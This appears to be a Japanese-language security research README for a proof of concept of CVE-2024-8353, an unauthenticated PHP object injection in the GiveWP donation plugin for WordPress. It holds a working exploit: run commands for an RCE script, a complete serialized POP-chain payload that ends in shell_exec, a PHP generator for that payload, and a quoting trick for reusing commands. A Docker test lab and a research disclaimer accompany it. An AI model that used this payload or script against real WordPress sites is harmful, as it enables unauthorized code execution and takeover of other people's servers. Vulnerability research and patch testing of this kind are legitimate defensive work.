
GiveWP PHPオブジェクトインジェクション エクスプロイト
この投稿はEQSTLabが公開した調査記事です。 この脆弱性を発見したcuokonに感謝します。
CVE-2024-5932 のさらなる分析 EQST Insight R&T(PDFファイル)。
https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021
★ CVE-2024-8353 任意ファイル削除およびRCEのPoC ★
CVE-2024-8353 : GiveWP PHPオブジェクトインジェクションの脆弱性
説明: WordPress用のgivewp – 寄付プラグインおよびファンドレイジングプラットフォームプラグインは、バージョン3.16.1までの全バージョン(3.16.1を含む)において、give_titleやcard_addressなどの複数のパラメータを介した信頼できない入力のデシリアライズにより、PHPオブジェクトインジェクションに対して脆弱です。これにより、認証されていない攻撃者がPHPオブジェクトを注入する可能性があります。さらにポップチェーンが存在するため、攻撃者は任意のファイルを削除し、リモートコード実行を達成できます。これは本質的にCVE-2024-5932と同じ脆弱性ですが、user_infoに対するstripslashes_deepの存在により、is_serializedチェックをバイパスできることが発見されました。この問題は3.16.1でほぼ修正されましたが、3.16.2でさらなる強化が追加されました。
⚠️PoCを使用する際、「give_title」はDBに保存され重複チェックが行われるため、同じコマンドは1度しか使用できません。この場合、Linuxのトリック、特に引用符を使用できます。例えば、「echo」を使用する場合、「e‘’cho」のように入力することで再利用できます。
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353
pip install -r requirements.txt
# リモートコード実行
python CVE-2024-8353.py -u <攻撃対象URL> -c <実行するコマンド>
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"
CVE-2024-8353.py


services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060
wordpress:
image: wordpress:6.3.2
ports:
- 80:80
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins



PHPSTORMを使用してGiveWPをデバッグできます。
pecl install xdebug
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={あなたのPHPSTORMアドレス}
xdebug.client_port={あなたのPHPSTORMデバッグポート}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1
..その後、WordPressをデバッグできます。


基本的に、手順はCVE-2024-5932と同じですが、異なる点は「give_title」パラメータにも「is_serialized」ロジックが追加されたことです。このメソッドは、インデックス1に:(コロン)記号がない場合、データはシリアライズされていないと判断します。

「is_serialized」メソッドの後、「stripslashes_deep」関数がバックスラッシュを取り除きます。そのため、先頭のバックスラッシュ()が削除され、シリアライズされたデータが渡されます。

\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
Stripe\StripeObject->__toString()
Stripe\StripeObject->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()
Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()
Give->__get('address1')
\Give\Vendors\Faker\ValidGenerator->get('address1')
\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')
Give\Onboarding\SettingsRepository->get('address1') (コマンド文字列を返す)
call_user_func('shell_exec', 'command')
PoC.php
<?php
namespace Stripe{
class StripeObject
{
protected $_values;
public function __construct(){
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
namespace Give\PaymentGateways\DataTransferObjects{
class GiveInsertPaymentData{
public $userInfo;
public function __construct()
{
$this->userInfo['address'] = new \Give();
}
}
}
namespace{
class Give{
protected $container;
public function __construct()
{
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
namespace Give\Vendors\Faker{
class ValidGenerator{
protected $validator;
protected $generator;
public function __construct()
{
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
namespace Give\Onboarding{
class SettingsRepository{
protected $settings;
public function __construct()
{
$this -> settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
namespace{
$a = new Stripe\StripeObject();
echo serialize($a);
}
POPチェーンによりリモートコマンド実行が可能になります。

このリポジトリはCVE-2024-8353に対するオブジェクトインジェクションの悪用を意図したものではありません。このプロジェクトの目的は、この脆弱性について学び、場合によっては自身のアプリケーションをテストするのに役立てることです。
当社はCVEおよびマルウェア分析を月に一度公開しています。興味のある方は、以下のリンクから出版物をご覧ください。 https://www.skshieldus.com/eng/business/insight.do